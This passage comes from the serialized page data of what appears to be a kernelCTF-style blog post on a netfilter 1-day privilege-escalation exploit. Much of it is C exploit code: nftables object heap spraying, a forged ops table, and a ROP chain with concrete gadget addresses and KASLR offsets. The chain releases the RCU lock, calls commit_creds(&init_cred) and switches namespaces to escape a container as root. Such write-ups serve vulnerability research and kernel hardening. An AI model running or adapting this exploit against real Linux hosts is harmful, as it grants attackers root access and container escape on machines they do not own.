table.\n",{"type":24,"tag":74,"props":5762,"children":5764},{"alt":76,"src":5763},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":24,"tag":261,"props":5766,"children":5768},{"className":3859,"code":5767,"language":3861,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[5769],{"type":24,"tag":135,"props":5770,"children":5771},{"__ignoreMap":7},[5772,5779,5787,5812,5859,5895,5902,5910,5942,5950,5958,5979,5987,5995,6060,6067,6075,6083,6090,6098,6132,6140,6147,6155,6162,6170,6203,6224],{"type":24,"tag":271,"props":5773,"children":5774},{"class":273,"line":274},[5775],{"type":24,"tag":271,"props":5776,"children":5777},{"style":288},[5778],{"type":29,"value":1690},{"type":24,"tag":271,"props":5780,"children":5781},{"class":273,"line":284},[5782],{"type":24,"tag":271,"props":5783,"children":5784},{"style":288},[5785],{"type":29,"value":5786}," // Fake ops\n",{"type":24,"tag":271,"props":5788,"children":5789},{"class":273,"line":294},[5790,5795,5799,5803,5807],{"type":24,"tag":271,"props":5791,"children":5792},{"style":288},[5793],{"type":29,"value":5794}," uint64_t *rop = calloc(29, ",{"type":24,"tag":271,"props":5796,"children":5797},{"style":3887},[5798],{"type":29,"value":4969},{"type":24,"tag":271,"props":5800,"children":5801},{"style":288},[5802],{"type":29,"value":606},{"type":24,"tag":271,"props":5804,"children":5805},{"style":278},[5806],{"type":29,"value":5279},{"type":24,"tag":271,"props":5808,"children":5809},{"style":288},[5810],{"type":29,"value":5811},"));\n",{"type":24,"tag":271,"props":5813,"children":5814},{"class":273,"line":303},[5815,5820,5824,5828,5832,5836,5841,5845,5850,5854],{"type":24,"tag":271,"props":5816,"children":5817},{"style":630},[5818],{"type":29,"value":5819}," rop",{"type":24,"tag":271,"props":5821,"children":5822},{"style":288},[5823],{"type":29,"value":4520},{"type":24,"tag":271,"props":5825,"children":5826},{"style":477},[5827],{"type":29,"value":4121},{"type":24,"tag":271,"props":5829,"children":5830},{"style":288},[5831],{"type":29,"value":4530},{"type":24,"tag":271,"props":5833,"children":5834},{"style":624},[5835],{"type":29,"value":762},{"type":24,"tag":271,"props":5837,"children":5838},{"style":288},[5839],{"type":29,"value":5840}," kaslr_slide ",{"type":24,"tag":271,"props":5842,"children":5843},{"style":624},[5844],{"type":29,"value":1012},{"type":24,"tag":271,"props":5846,"children":5847},{"style":477},[5848],{"type":29,"value":5849}," 0xffffffff81988647",{"type":24,"tag":271,"props":5851,"children":5852},{"style":288},[5853],{"type":29,"value":2092},{"type":24,"tag":271,"props":5855,"children":5856},{"style":2058},[5857],{"type":29,"value":5858}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":271,"props":5860,"children":5861},{"class":273,"line":312},[5862,5866,5870,5874,5878,5882,5886,5890],{"type":24,"tag":271,"props":5863,"children":5864},{"style":630},[5865],{"type":29,"value":5819},{"type":24,"tag":271,"props":5867,"children":5868},{"style":288},[5869],{"type":29,"value":4520},{"type":24,"tag":271,"props":5871,"children":5872},{"style":477},[5873],{"type":29,"value":165},{"type":24,"tag":271,"props":5875,"children":5876},{"style":288},[5877],{"type":29,"value":4530},{"type":24,"tag":271,"props":5879,"children":5880},{"style":624},[5881],{"type":29,"value":762},{"type":24,"tag":271,"props":5883,"children":5884},{"style":288},[5885],{"type":29,"value":5840},{"type":24,"tag":271,"props":5887,"children":5888},{"style":624},[5889],{"type":29,"value":1012},{"type":24,"tag":271,"props":5891,"children":5892},{"style":288},[5893],{"type":29,"value":5894}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":271,"props":5896,"children":5897},{"class":273,"line":321},[5898],{"type":24,"tag":271,"props":5899,"children":5900},{"style":288},[5901],{"type":29,"value":1690},{"type":24,"tag":271,"props":5903,"children":5904},{"class":273,"line":330},[5905],{"type":24,"tag":271,"props":5906,"children":5907},{"style":288},[5908],{"type":29,"value":5909}," // Send ROP in object udata\n",{"type":24,"tag":271,"props":5911,"children":5912},{"class":273,"line":339},[5913,5918,5922,5927,5932,5937],{"type":24,"tag":271,"props":5914,"children":5915},{"style":288},[5916],{"type":29,"value":5917}," del_obj(",{"type":24,"tag":271,"props":5919,"children":5920},{"style":3887},[5921],{"type":29,"value":3900},{"type":24,"tag":271,"props":5923,"children":5924},{"style":288},[5925],{"type":29,"value":5926},", \"",{"type":24,"tag":271,"props":5928,"children":5929},{"style":3887},[5930],{"type":29,"value":5931},"spray",{"type":24,"tag":271,"props":5933,"children":5934},{"style":288},[5935],{"type":29,"value":5936},"-0",{"type":24,"tag":271,"props":5938,"children":5939},{"style":378},[5940],{"type":29,"value":5941},"\");\n",{"type":24,"tag":271,"props":5943,"children":5944},{"class":273,"line":347},[5945],{"type":24,"tag":271,"props":5946,"children":5947},{"style":378},[5948],{"type":29,"value":5949}," wait_destroyer();\n",{"type":24,"tag":271,"props":5951,"children":5952},{"class":273,"line":356},[5953],{"type":24,"tag":271,"props":5954,"children":5955},{"style":378},[5956],{"type":29,"value":5957}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":271,"props":5959,"children":5960},{"class":273,"line":365},[5961,5966,5970,5975],{"type":24,"tag":271,"props":5962,"children":5963},{"style":378},[5964],{"type":29,"value":5965}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":271,"props":5967,"children":5968},{"style":278},[5969],{"type":29,"value":5931},{"type":24,"tag":271,"props":5971,"children":5972},{"style":288},[5973],{"type":29,"value":5974},"-3",{"type":24,"tag":271,"props":5976,"children":5977},{"style":378},[5978],{"type":29,"value":5941},{"type":24,"tag":271,"props":5980,"children":5981},{"class":273,"line":374},[5982],{"type":24,"tag":271,"props":5983,"children":5984},{"style":378},[5985],{"type":29,"value":5986}," DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":271,"props":5988,"children":5989},{"class":273,"line":384},[5990],{"type":24,"tag":271,"props":5991,"children":5992},{"style":378},[5993],{"type":29,"value":5994}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":271,"props":5996,"children":5997},{"class":273,"line":393},[5998,6003,6007,6011,6015,6020,6025,6030,6035,6040,6045,6050,6055],{"type":24,"tag":271,"props":5999,"children":6000},{"style":378},[6001],{"type":29,"value":6002}," printf(\"",{"type":24,"tag":271,"props":6004,"children":6005},{"style":288},[6006],{"type":29,"value":4520},{"type":24,"tag":271,"props":6008,"children":6009},{"style":624},[6010],{"type":29,"value":627},{"type":24,"tag":271,"props":6012,"children":6013},{"style":288},[6014],{"type":29,"value":4530},{"type":24,"tag":271,"props":6016,"children":6017},{"style":3887},[6018],{"type":29,"value":6019},"ROP",{"type":24,"tag":271,"props":6021,"children":6022},{"style":3887},[6023],{"type":29,"value":6024}," addr",{"type":24,"tag":271,"props":6026,"children":6027},{"style":288},[6028],{"type":29,"value":6029},": 0",{"type":24,"tag":271,"props":6031,"children":6032},{"style":3887},[6033],{"type":29,"value":6034},"x",{"type":24,"tag":271,"props":6036,"children":6037},{"style":288},[6038],{"type":29,"value":6039},"%",{"type":24,"tag":271,"props":6041,"children":6042},{"style":3887},[6043],{"type":29,"value":6044},"lx",{"type":24,"tag":271,"props":6046,"children":6047},{"style":288},[6048],{"type":29,"value":6049},"\\",{"type":24,"tag":271,"props":6051,"children":6052},{"style":3887},[6053],{"type":29,"value":6054},"n",{"type":24,"tag":271,"props":6056,"children":6057},{"style":378},[6058],{"type":29,"value":6059},"\", rop_addr);\n",{"type":24,"tag":271,"props":6061,"children":6062},{"class":273,"line":402},[6063],{"type":24,"tag":271,"props":6064,"children":6065},{"emptyLinePlaceholder":16},[6066],{"type":29,"value":327},{"type":24,"tag":271,"props":6068,"children":6069},{"class":273,"line":411},[6070],{"type":24,"tag":271,"props":6071,"children":6072},{"style":378},[6073],{"type":29,"value":6074}," // Point to fake ops\n",{"type":24,"tag":271,"props":6076,"children":6077},{"class":273,"line":420},[6078],{"type":24,"tag":271,"props":6079,"children":6080},{"style":378},[6081],{"type":29,"value":6082}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":271,"props":6084,"children":6085},{"class":273,"line":429},[6086],{"type":24,"tag":271,"props":6087,"children":6088},{"style":378},[6089],{"type":29,"value":1690},{"type":24,"tag":271,"props":6091,"children":6092},{"class":273,"line":438},[6093],{"type":24,"tag":271,"props":6094,"children":6095},{"style":378},[6096],{"type":29,"value":6097}," // Write ROP\n",{"type":24,"tag":271,"props":6099,"children":6100},{"class":273,"line":447},[6101,6106,6110,6114,6118,6123,6128],{"type":24,"tag":271,"props":6102,"children":6103},{"style":378},[6104],{"type":29,"value":6105}," puts(\"",{"type":24,"tag":271,"props":6107,"children":6108},{"style":288},[6109],{"type":29,"value":4520},{"type":24,"tag":271,"props":6111,"children":6112},{"style":624},[6113],{"type":29,"value":627},{"type":24,"tag":271,"props":6115,"children":6116},{"style":288},[6117],{"type":29,"value":4530},{"type":24,"tag":271,"props":6119,"children":6120},{"style":3887},[6121],{"type":29,"value":6122},"Write",{"type":24,"tag":271,"props":6124,"children":6125},{"style":3887},[6126],{"type":29,"value":6127}," ROP",{"type":24,"tag":271,"props":6129,"children":6130},{"style":378},[6131],{"type":29,"value":5941},{"type":24,"tag":271,"props":6133,"children":6134},{"class":273,"line":455},[6135],{"type":24,"tag":271,"props":6136,"children":6137},{"style":378},[6138],{"type":29,"value":6139}," deludata_spray(nl, 3, 1);\n",{"type":24,"tag":271,"props":6141,"children":6142},{"class":273,"line":464},[6143],{"type":24,"tag":271,"props":6144,"children":6145},{"style":378},[6146],{"type":29,"value":5949},{"type":24,"tag":271,"props":6148,"children":6149},{"class":273,"line":473},[6150],{"type":24,"tag":271,"props":6151,"children":6152},{"style":378},[6153],{"type":29,"value":6154}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":271,"props":6156,"children":6157},{"class":273,"line":483},[6158],{"type":24,"tag":271,"props":6159,"children":6160},{"emptyLinePlaceholder":16},[6161],{"type":29,"value":327},{"type":24,"tag":271,"props":6163,"children":6164},{"class":273,"line":491},[6165],{"type":24,"tag":271,"props":6166,"children":6167},{"style":378},[6168],{"type":29,"value":6169}," // Takeover RIP\n",{"type":24,"tag":271,"props":6171,"children":6172},{"class":273,"line":499},[6173,6177,6181,6185,6189,6194,6199],{"type":24,"tag":271,"props":6174,"children":6175},{"style":378},[6176],{"type":29,"value":6105},{"type":24,"tag":271,"props":6178,"children":6179},{"style":288},[6180],{"type":29,"value":4520},{"type":24,"tag":271,"props":6182,"children":6183},{"style":624},[6184],{"type":29,"value":627},{"type":24,"tag":271,"props":6186,"children":6187},{"style":288},[6188],{"type":29,"value":4530},{"type":24,"tag":271,"props":6190,"children":6191},{"style":3887},[6192],{"type":29,"value":6193},"Takeover",{"type":24,"tag":271,"props":6195,"children":6196},{"style":3887},[6197],{"type":29,"value":6198}," RIP",{"type":24,"tag":271,"props":6200,"children":6201},{"style":378},[6202],{"type":29,"value":5941},{"type":24,"tag":271,"props":6204,"children":6205},{"class":273,"line":3188},[6206,6211,6215,6220],{"type":24,"tag":271,"props":6207,"children":6208},{"style":378},[6209],{"type":29,"value":6210}," dump_obj(nl, \"",{"type":24,"tag":271,"props":6212,"children":6213},{"style":278},[6214],{"type":29,"value":5931},{"type":24,"tag":271,"props":6216,"children":6217},{"style":288},[6218],{"type":29,"value":6219},"-1",{"type":24,"tag":271,"props":6221,"children":6222},{"style":378},[6223],{"type":29,"value":5941},{"type":24,"tag":271,"props":6225,"children":6226},{"class":273,"line":3247},[6227],{"type":24,"tag":271,"props":6228,"children":6229},{"style":378},[6230],{"type":29,"value":1690},{"type":24,"tag":85,"props":6232,"children":6234},{"id":6233},"bypass-context-switch-in-rcu-critical-section",[6235],{"type":29,"value":6236},"Bypass context switch in RCU critical-section",{"type":24,"tag":25,"props":6238,"children":6239},{},[6240,6241,6246],{"type":29,"value":1422},{"type":24,"tag":135,"props":6242,"children":6244},{"className":6243},[],[6245],{"type":29,"value":4753},{"type":29,"value":6247}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":25,"props":6249,"children":6250},{},[6251,6253,6260,6262,6268,6270,6276],{"type":29,"value":6252},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":32,"props":6254,"children":6257},{"href":6255,"rel":6256},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[36],[6258],{"type":29,"value":6259},"previous kernelCTF submission",{"type":29,"value":6261}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":135,"props":6263,"children":6265},{"className":6264},[],[6266],{"type":29,"value":6267},"task_struct",{"type":29,"value":6269}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":24,"tag":135,"props":6271,"children":6273},{"className":6272},[],[6274],{"type":29,"value":6275},"__rcu_read_unlock()",{"type":29,"value":6277}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":261,"props":6279,"children":6281},{"className":3859,"code":6280,"language":3861,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[6282],{"type":24,"tag":135,"props":6283,"children":6284},{"__ignoreMap":7},[6285,6293,6318,6325],{"type":24,"tag":271,"props":6286,"children":6287},{"class":273,"line":274},[6288],{"type":24,"tag":271,"props":6289,"children":6290},{"style":2058},[6291],{"type":29,"value":6292}," // ROP stage 1\n",{"type":24,"tag":271,"props":6294,"children":6295},{"class":273,"line":284},[6296,6301,6306,6310,6314],{"type":24,"tag":271,"props":6297,"children":6298},{"style":278},[6299],{"type":29,"value":6300}," int",{"type":24,"tag":271,"props":6302,"children":6303},{"style":288},[6304],{"type":29,"value":6305}," pos ",{"type":24,"tag":271,"props":6307,"children":6308},{"style":624},[6309],{"type":29,"value":762},{"type":24,"tag":271,"props":6311,"children":6312},{"style":477},[6313],{"type":29,"value":4932},{"type":24,"tag":271,"props":6315,"children":6316},{"style":288},[6317],{"type":29,"value":1069},{"type":24,"tag":271,"props":6319,"children":6320},{"class":273,"line":294},[6321],{"type":24,"tag":271,"props":6322,"children":6323},{"emptyLinePlaceholder":16},[6324],{"type":29,"value":327},{"type":24,"tag":271,"props":6326,"children":6327},{"class":273,"line":303},[6328,6332,6337,6341,6345,6349,6353,6357],{"type":24,"tag":271,"props":6329,"children":6330},{"style":630},[6331],{"type":29,"value":5819},{"type":24,"tag":271,"props":6333,"children":6334},{"style":288},[6335],{"type":29,"value":6336},"[pos",{"type":24,"tag":271,"props":6338,"children":6339},{"style":624},[6340],{"type":29,"value":834},{"type":24,"tag":271,"props":6342,"children":6343},{"style":288},[6344],{"type":29,"value":4530},{"type":24,"tag":271,"props":6346,"children":6347},{"style":624},[6348],{"type":29,"value":762},{"type":24,"tag":271,"props":6350,"children":6351},{"style":288},[6352],{"type":29,"value":5840},{"type":24,"tag":271,"props":6354,"children":6355},{"style":624},[6356],{"type":29,"value":1012},{"type":24,"tag":271,"props":6358,"children":6359},{"style":288},[6360],{"type":29,"value":6361}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":85,"props":6363,"children":6365},{"id":6364},"rop",[6366],{"type":29,"value":6019},{"type":24,"tag":25,"props":6368,"children":6369},{},[6370],{"type":29,"value":6371},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":97,"props":6373,"children":6374},{},[6375,6386,6397],{"type":24,"tag":101,"props":6376,"children":6377},{},[6378,6384],{"type":24,"tag":135,"props":6379,"children":6381},{"className":6380},[],[6382],{"type":29,"value":6383},"commit_creds(&init_cred);",{"type":29,"value":6385}," Commit root credentials to our process",{"type":24,"tag":101,"props":6387,"children":6388},{},[6389,6395],{"type":24,"tag":135,"props":6390,"children":6392},{"className":6391},[],[6393],{"type":29,"value":6394},"task = find_task_by_vpid(1);",{"type":29,"value":6396}," Find the root process of our namespace",{"type":24,"tag":101,"props":6398,"children":6399},{},[6400,6406],{"type":24,"tag":135,"props":6401,"children":6403},{"className":6402},[],[6404],{"type":29,"value":6405},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":6407}," Move it to the root namespace",{"type":24,"tag":25,"props":6409,"children":6410},{},[6411,6413,6419,6421,6427,6429,6435,6437,6443,6445,6450,6452,6458],{"type":29,"value":6412},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":135,"props":6414,"children":6416},{"className":6415},[],[6417],{"type":29,"value":6418},"find_task_by_vpid(1)",{"type":29,"value":6420}," passed through ",{"type":24,"tag":135,"props":6422,"children":6424},{"className":6423},[],[6425],{"type":29,"value":6426},"rax",{"type":29,"value":6428}," to ",{"type":24,"tag":135,"props":6430,"children":6432},{"className":6431},[],[6433],{"type":29,"value":6434},"rdi",{"type":29,"value":6436},". What I ended up going with was a ",{"type":24,"tag":135,"props":6438,"children":6440},{"className":6439},[],[6441],{"type":29,"value":6442},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":6444}," gadget, that allowed me to push the ",{"type":24,"tag":135,"props":6446,"children":6448},{"className":6447},[],[6449],{"type":29,"value":6426},{"type":29,"value":6451}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":135,"props":6453,"children":6455},{"className":6454},[],[6456],{"type":29,"value":6457},"pop rdi; ret",{"type":29,"value":6459}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":97,"props":6461,"children":6462},{},[6463,6468,6481],{"type":24,"tag":101,"props":6464,"children":6465},{},[6466],{"type":29,"value":6467},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":101,"props":6469,"children":6470},{},[6471,6473,6479],{"type":29,"value":6472},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":135,"props":6474,"children":6476},{"className":6475},[],[6477],{"type":29,"value":6478},"pop rdi; ret;",{"type":29,"value":6480}," location)",{"type":24,"tag":101,"props":6482,"children":6483},{},[6484,6489],{"type":24,"tag":135,"props":6485,"children":6487},{"className":6486},[],[6488],{"type":29,"value":6457},{"type":29,"value":6490}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":261,"props":6492,"children":6494},{"className":3859,"code":6493,"language":3861,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[6495],{"type":24,"tag":135,"props":6496,"children":6497},{"__ignoreMap":7},[6498,6505,6522,6567,6603,6639,6646,6654,6697,6728,6764,6809,6864,6909,6916,6924,6967,7003,7039],{"type":24,"tag":271,"props":6499,"children":6500},{"class":273,"line":274},[6501],{"type":24,"tag":271,"props":6502,"children":6503},{"style":288},[6504],{"type":29,"value":1690},{"type":24,"tag":271,"props":6506,"children":6507},{"class":273,"line":284},[6508,6513,6518],{"type":24,"tag":271,"props":6509,"children":6510},{"style":288},[6511],{"type":29,"value":6512}," // commit_creds(&",{"type":24,"tag":271,"props":6514,"children":6515},{"style":630},[6516],{"type":29,"value":6517},"init_cred",{"type":24,"tag":271,"props":6519,"children":6520},{"style":288},[6521],{"type":29,"value":1155},{"type":24,"tag":271,"props":6523,"children":6524},{"class":273,"line":294},[6525,6529,6533,6537,6541,6545,6549,6553,6558,6562],{"type":24,"tag":271,"props":6526,"children":6527},{"style":630},[6528],{"type":29,"value":5819},{"type":24,"tag":271,"props":6530,"children":6531},{"style":288},[6532],{"type":29,"value":6336},{"type":24,"tag":271,"props":6534,"children":6535},{"style":624},[6536],{"type":29,"value":834},{"type":24,"tag":271,"props":6538,"children":6539},{"style":288},[6540],{"type":29,"value":4530},{"type":24,"tag":271,"props":6542,"children":6543},{"style":624},[6544],{"type":29,"value":762},{"type":24,"tag":271,"props":6546,"children":6547},{"style":288},[6548],{"type":29,"value":5840},{"type":24,"tag":271,"props":6550,"children":6551},{"style":624},[6552],{"type":29,"value":1012},{"type":24,"tag":271,"props":6554,"children":6555},{"style":477},[6556],{"type":29,"value":6557}," 0xffffffff8112c7c0",{"type":24,"tag":271,"props":6559,"children":6560},{"style":288},[6561],{"type":29,"value":2092},{"type":24,"tag":271,"props":6563,"children":6564},{"style":2058},[6565],{"type":29,"value":6566}," // pop rdi; ret;\n",{"type":24,"tag":271,"props":6568,"children":6569},{"class":273,"line":303},[6570,6574,6578,6582,6586,6590,6594,6598],{"type":24,"tag":271,"props":6571,"children":6572},{"style":630},[6573],{"type":29,"value":5819},{"type":24,"tag":271,"props":6575,"children":6576},{"style":288},[6577],{"type":29,"value":6336},{"type":24,"tag":271,"props":6579,"children":6580},{"style":624},[6581],{"type":29,"value":834},{"type":24,"tag":271,"props":6583,"children":6584},{"style":288},[6585],{"type":29,"value":4530},{"type":24,"tag":271,"props":6587,"children":6588},{"style":624},[6589],{"type":29,"value":762},{"type":24,"tag":271,"props":6591,"children":6592},{"style":288},[6593],{"type":29,"value":5840},{"type":24,"tag":271,"props":6595,"children":6596},{"style":624},[6597],{"type":29,"value":1012},{"type":24,"tag":271,"props":6599,"children":6600},{"style":288},[6601],{"type":29,"value":6602}," INIT_CRED;\n",{"type":24,"tag":271,"props":6604,"children":6605},{"class":273,"line":312},[6606,6610,6614,6618,6622,6626,6630,6634],{"type":24,"tag":271,"props":6607,"children":6608},{"style":630},[6609],{"type":29,"value":5819},{"type":24,"tag":271,"props":6611,"children":6612},{"style":288},[6613],{"type":29,"value":6336},{"type":24,"tag":271,"props":6615,"children":6616},{"style":624},[6617],{"type":29,"value":834},{"type":24,"tag":271,"props":6619,"children":6620},{"style":288},[6621],{"type":29,"value":4530},{"type":24,"tag":271,"props":6623,"children":6624},{"style":624},[6625],{"type":29,"value":762},{"type":24,"tag":271,"props":6627,"children":6628},{"style":288},[6629],{"type":29,"value":5840},{"type":24,"tag":271,"props":6631,"children":6632},{"style":624},[6633],{"type":29,"value":1012},{"type":24,"tag":271,"props":6635,"children":6636},{"style":288},[6637],{"type":29,"value":6638}," COMMIT_CREDS;\n",{"type":24,"tag":271,"props":6640,"children":6641},{"class":273,"line":321},[6642],{"type":24,"tag":271,"props":6643,"children":6644},{"emptyLinePlaceholder":16},[6645],{"type":29,"value":327},{"type":24,"tag":271,"props":6647,"children":6648},{"class":273,"line":330},[6649],{"type":24,"tag":271,"props":6650,"children":6651},{"style":2058},[6652],{"type":29,"value":6653}," // task = find_task_by_vpid(1);\n",{"type":24,"tag":271,"props":6655,"children":6656},{"class":273,"line":339},[6657,6661,6665,6669,6673,6677,6681,6685,6689,6693],{"type":24,"tag":271,"props":6658,"children":6659},{"style":630},[6660],{"type":29,"value":5819},{"type":24,"tag":271,"props":6662,"children":6663},{"style":288},[6664],{"type":29,"value":6336},{"type":24,"tag":271,"props":6666,"children":6667},{"style":624},[6668],{"type":29,"value":834},{"type":24,"tag":271,"props":6670,"children":6671},{"style":288},[6672],{"type":29,"value":4530},{"type":24,"tag":271,"props":6674,"children":6675},{"style":624},[6676],{"type":29,"value":762},{"type":24,"tag":271,"props":6678,"children":6679},{"style":288},[6680],{"type":29,"value":5840},{"type":24,"tag":271,"props":6682,"children":6683},{"style":624},[6684],{"type":29,"value":1012},{"type":24,"tag":271,"props":6686,"children":6687},{"style":477},[6688],{"type":29,"value":6557},{"type":24,"tag":271,"props":6690,"children":6691},{"style":288},[6692],{"type":29,"value":2092},{"type":24,"tag":271,"props":6694,"children":6695},{"style":2058},[6696],{"type":29,"value":6566},{"type":24,"tag":271,"props":6698,"children":6699},{"class":273,"line":347},[6700,6704,6708,6712,6716,6720,6724],{"type":24,"tag":271,"props":6701,"children":6702},{"style":630},[6703],{"type":29,"value":5819},{"type":24,"tag":271,"props":6705,"children":6706},{"style":288},[6707],{"type":29,"value":6336},{"type":24,"tag":271,"props":6709,"children":6710},{"style":624},[6711],{"type":29,"value":834},{"type":24,"tag":271,"props":6713,"children":6714},{"style":288},[6715],{"type":29,"value":4530},{"type":24,"tag":271,"props":6717,"children":6718},{"style":624},[6719],{"type":29,"value":762},{"type":24,"tag":271,"props":6721,"children":6722},{"style":477},[6723],{"type":29,"value":824},{"type":24,"tag":271,"props":6725,"children":6726},{"style":288},[6727],{"type":29,"value":1069},{"type":24,"tag":271,"props":6729,"children":6730},{"class":273,"line":356},[6731,6735,6739,6743,6747,6751,6755,6759],{"type":24,"tag":271,"props":6732,"children":6733},{"style":630},[6734],{"type":29,"value":5819},{"type":24,"tag":271,"props":6736,"children":6737},{"style":288},[6738],{"type":29,"value":6336},{"type":24,"tag":271,"props":6740,"children":6741},{"style":624},[6742],{"type":29,"value":834},{"type":24,"tag":271,"props":6744,"children":6745},{"style":288},[6746],{"type":29,"value":4530},{"type":24,"tag":271,"props":6748,"children":6749},{"style":624},[6750],{"type":29,"value":762},{"type":24,"tag":271,"props":6752,"children":6753},{"style":288},[6754],{"type":29,"value":5840},{"type":24,"tag":271,"props":6756,"children":6757},{"style":624},[6758],{"type":29,"value":1012},{"type":24,"tag":271,"props":6760,"children":6761},{"style":288},[6762],{"type":29,"value":6763}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":271,"props":6765,"children":6766},{"class":273,"line":365},[6767,6771,6775,6779,6783,6787,6791,6795,6800,6804],{"type":24,"tag":271,"props":6768,"children":6769},{"style":630},[6770],{"type":29,"value":5819},{"type":24,"tag":271,"props":6772,"children":6773},{"style":288},[6774],{"type":29,"value":6336},{"type":24,"tag":271,"props":6776,"children":6777},{"style":624},[6778],{"type":29,"value":834},{"type":24,"tag":271,"props":6780,"children":6781},{"style":288},[6782],{"type":29,"value":4530},{"type":24,"tag":271,"props":6784,"children":6785},{"style":624},[6786],{"type":29,"value":762},{"type":24,"tag":271,"props":6788,"children":6789},{"style":288},[6790],{"type":29,"value":5840},{"type":24,"tag":271,"props":6792,"children":6793},{"style":624},[6794],{"type":29,"value":1012},{"type":24,"tag":271,"props":6796,"children":6797},{"style":477},[6798],{"type":29,"value":6799}," 0xffffffff8102e2a6",{"type":24,"tag":271,"props":6801,"children":6802},{"style":288},[6803],{"type":29,"value":2092},{"type":24,"tag":271,"props":6805,"children":6806},{"style":2058},[6807],{"type":29,"value":6808}," // pop rsi; ret;\n",{"type":24,"tag":271,"props":6810,"children":6811},{"class":273,"line":374},[6812,6816,6820,6824,6828,6832,6837,6841,6846,6850,6855,6859],{"type":24,"tag":271,"props":6813,"children":6814},{"style":630},[6815],{"type":29,"value":5819},{"type":24,"tag":271,"props":6817,"children":6818},{"style":288},[6819],{"type":29,"value":6336},{"type":24,"tag":271,"props":6821,"children":6822},{"style":624},[6823],{"type":29,"value":834},{"type":24,"tag":271,"props":6825,"children":6826},{"style":288},[6827],{"type":29,"value":4530},{"type":24,"tag":271,"props":6829,"children":6830},{"style":624},[6831],{"type":29,"value":762},{"type":24,"tag":271,"props":6833,"children":6834},{"style":288},[6835],{"type":29,"value":6836}," obj_ptr ",{"type":24,"tag":271,"props":6838,"children":6839},{"style":624},[6840],{"type":29,"value":1012},{"type":24,"tag":271,"props":6842,"children":6843},{"style":477},[6844],{"type":29,"value":6845}," 0xe0",{"type":24,"tag":271,"props":6847,"children":6848},{"style":624},[6849],{"type":29,"value":819},{"type":24,"tag":271,"props":6851,"children":6852},{"style":477},[6853],{"type":29,"value":6854}," 0x66",{"type":24,"tag":271,"props":6856,"children":6857},{"style":288},[6858],{"type":29,"value":2092},{"type":24,"tag":271,"props":6860,"children":6861},{"style":2058},[6862],{"type":29,"value":6863}," // rax -> rdi and resume 